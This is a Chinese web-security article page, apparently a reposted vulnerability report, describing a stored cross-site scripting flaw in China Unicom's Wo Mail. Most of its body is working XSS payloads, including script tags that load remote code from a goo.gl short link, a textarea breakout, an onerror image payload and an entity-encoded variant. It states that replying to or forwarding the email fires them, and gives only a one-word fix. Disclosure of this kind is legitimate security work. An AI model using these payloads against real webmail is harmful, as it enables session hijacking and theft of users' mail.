联通wo邮箱存储型XSS - 网站安全

联通wo邮箱存储型XSS - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-15 14:59 作者：阅读:次

[导读] 给邮箱发一封邮件，由于QQ邮箱发到wo邮箱总是投递不成功，内容我直接贴上来吧scriptalert(跨站) scriptscript src=http: goo gl Hprf82 script textareascript src=http: goo gl Hprf82...

给邮箱发一封邮件，由于QQ邮箱发到wo邮箱总是投递不成功，内容我直接贴上来吧

"><script>alert("跨站")</script>

"><script src=http://goo.gl/Hprf82></script>

"></textarea><script src=http://goo.gl/Hprf82></script>

"><IMG SRC=1 onerror=alert(/XSS/)>

&#34;&#62;&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#36328;&#31449;&#34;&#41;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;

收到邮件后，点击上面的"回复、回复全部、转发"任意一个就能触发XSS

修复方案：

过滤

Informix数据库SQL注入实战 - 网站安全 - 自学php

安全狗高权限时的提权方法 - 网站安全 - 自学p

子栏目

联通wo邮箱存储型XSS - 网站安全 - 自学php

最新评论

添加评论

更多文章推荐

添加评论